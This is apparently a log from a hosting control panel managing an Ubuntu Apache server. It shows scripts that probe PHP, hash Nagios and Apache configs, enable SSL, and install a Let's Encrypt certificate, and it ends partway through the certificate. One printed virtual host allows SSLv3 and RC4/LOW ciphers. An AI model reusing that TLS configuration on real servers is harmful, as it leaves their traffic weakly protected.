USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 876 0.0 0.8 229016 34160 ? Ss Nov15 1:32 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
cgi_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-11-27 13:30:35:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'aries',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 20.04.6 LTS',
'rel' => '20.04.6',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'cgi_module',
18 => 'deflate_module',
19 => 'dir_module',
20 => 'env_module',
21 => 'filter_module',
22 => 'headers_module',
23 => 'mime_module',
24 => 'mpm_prefork_module',
25 => 'negotiation_module',
26 => 'php_module',
27 => 'proxy_module',
28 => 'proxy_fcgi_module',
29 => 'proxy_wstunnel_module',
30 => 'reqtimeout_module',
31 => 'rewrite_module',
32 => 'setenvif_module',
33 => 'socache_shmcb_module',
34 => 'ssl_module',
35 => 'status_module',
),
),
)
2025-11-27 13:30:35:
PUT: /tmp/pkp419955
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:30:35:
chmod 755 /tmp/pkp419955; /tmp/pkp419955; rm /tmp/pkp419955
2025-11-27 13:30:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php7.4 - server-side, HTML-embedded scripting language (metapackage)
2025-11-27 13:30:35:
PUT: /tmp/pkp827229
#!/bin/bash
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-11-27 13:30:35:
chmod 755 /tmp/pkp827229; /tmp/pkp827229; rm /tmp/pkp827229
2025-11-27 13:30:35:
[php7.4]
php=/usr/bin/php7.4
fpm=/etc/php/7.4/fpm/pool.d
version=7.4.33
2025-11-27 13:30:35:
PUT: /tmp/pkp935102
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:30:35:
chmod 755 /tmp/pkp935102; /tmp/pkp935102; rm /tmp/pkp935102
2025-11-27 13:30:35:
(gzipped output)
MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 8fd8035105e240bc8631a4ed1a2baab7
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= 1ed8753ee170fda2d6a1e91b181284e9
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-11-27 13:30:35:
PUT: /tmp/pkp588645
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-11-27 13:30:35:
chmod 755 /tmp/pkp588645; /tmp/pkp588645; rm /tmp/pkp588645
2025-11-27 13:30:35:
status=ok
2025-11-27 13:30:35:
PUT: /tmp/pkp529816
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:30:35:
chmod 755 /tmp/pkp529816; /tmp/pkp529816; rm /tmp/pkp529816
2025-11-27 13:30:35:
2025-11-27 13:30:35:
PUT: /tmp/pkp954195
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/kjvdictionary_store_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:30:35:
chmod 755 /tmp/pkp954195; /tmp/pkp954195; rm /tmp/pkp954195
2025-11-27 13:30:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/kjvdictionary_store_org.conf 1264
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store/public
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
DocumentRoot /var/www/kjvdictionary_store/public
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 0bd3dd2627d170ec9a410582f882d78e
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= d74b630863e2e28921691dd981b95809
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= bfc13a47ba2cb7eb85974ef258005cd6
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= f8f473dab8edcf6a27fad719dd33754a
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= 998753e2cb33cab87d8cb0471a46db4b
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= 871e01cc22abafca329218d17ead1a20
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 961914e8ce9f9df4147aa40bc1a2f2e9
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= d46ead59c1c57938d17f3471cf098c01
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 36d5ac9d7d8eb03e759bcf8f8a2b813f
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 3d5dc1bcfa9c0cec3b16af3076a6ea61
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 549ba716ac2271cdd94a49d9a8ea1aff
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 4f6045dc2924aafa17265364e3c8abbf
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 69454dedbff1b72b94ed9919a41770e6
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= f8b0f22797df53674558935069440c30
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_city_us.conf)= a817883aea5be6c13fcdf818876f4d1a
MD5(/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt)= 9b15d7623157e45f0f206b48778332d1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= af9b874e8438743080c8b2c287cd9aad
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= f4314725714b50baf4294e40e36c5b64
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/pjy_city_us.conf)= /etc/apache2/sites-available/pjy_city_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf
2025-11-28 06:00:03: Establishing a connection
2025-11-28 06:00:03: Establishing a connection
2025-11-28 06:00:03:
PUT: /tmp/pkp904615
#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-28 06:00:05:
chmod 755 /tmp/pkp904615; /tmp/pkp904615; rm /tmp/pkp904615
2025-11-28 06:00:05:
1
2025-11-28 06:00:06: Establishing a connection
2025-11-28 06:00:06:
PUT: /tmp/pkp636488
#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8
2025-11-28 06:00:06:
chmod 755 /tmp/pkp636488; /tmp/pkp636488; rm /tmp/pkp636488
2025-11-28 06:00:06:
2025-11-28 06:00:09: Establishing a connection
2025-11-28 06:00:09:
PUT: /tmp/pkp803287
#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm ByCl-B3GIaEjZOC1tjXDyq5TVyR5LRD1XlE_kWk3DJ8
2025-11-28 06:00:10:
chmod 755 /tmp/pkp803287; /tmp/pkp803287; rm /tmp/pkp803287
2025-11-28 06:00:10:
2025-11-28 06:00:10: Establishing a connection
2025-11-28 06:00:10:
PUT: /tmp/pkp443863
#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8
cat > $temp_file <<'endmsg'
a3:23:22:ea:10:73:5d:ba:3d:df:27:36:79:b9:80:ff
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBVN3buV8iJBQpNNmoRs6wJZVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI4MDUwMTM5WhcNMjYwMjI2MDUwMTM4WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBALvHWPdYKMRSAz7ko5C5PA1ZolBpM5GvZEm1rzNMQV+eNDWjr7Gtc1gn
hHyh/ncmFsRuud70D0oRNY146miyWMXV+F8P3mOq6WtlsBzWtbC3A6QgIQWHkZoS
rqPRbcw0E+2GQLKW6sr7MmgiLKbixhmiv9Myxx0pxsoDSvCwQ6RbH/pmXXqnHyoS
q5aJOcQhj+kCJHzGR/JEQvVd1epEepz3CpA0Bz5HIxRR6O4Ga1KjxH35Zz+fgl6v
S5lB/3jKfGE44NvJF8Lmw9gaS/r+SoipsgPoRaMOhYbXevRvXmQTLFo2Yr0wlqEW
F+dsqanPQchjeJbqTEozqtBmwNmhhicCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQU5zq7lDSMl1P9Zv4/RzCmbkx+JmUwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzg2LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmskMK+4A
AAQDAEYwRAIgPYGuUjYB+6SoMNMeVJ8RgOmySoy4/QRONTCz27qc1dMCIDbKOf9S
YGriuHjyi5bP8w4LXuYCPF7t4cNMiAzn4ZAYAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGayQwsAAAABAMASDBGAiEAzYz0R4xeN4SgmI4TQg/V
Np2z1gFUs7LAeoXFafwql4sCIQCxHwgW4RvagZ6OKA8stsg5HwXHKpKsLc/Bfy66
7IR+jzANBgkqhkiG9w0BAQsFAAOCAQEAMnpYOu8nAIqNpS+WumIxtbpeL2ZVltAx
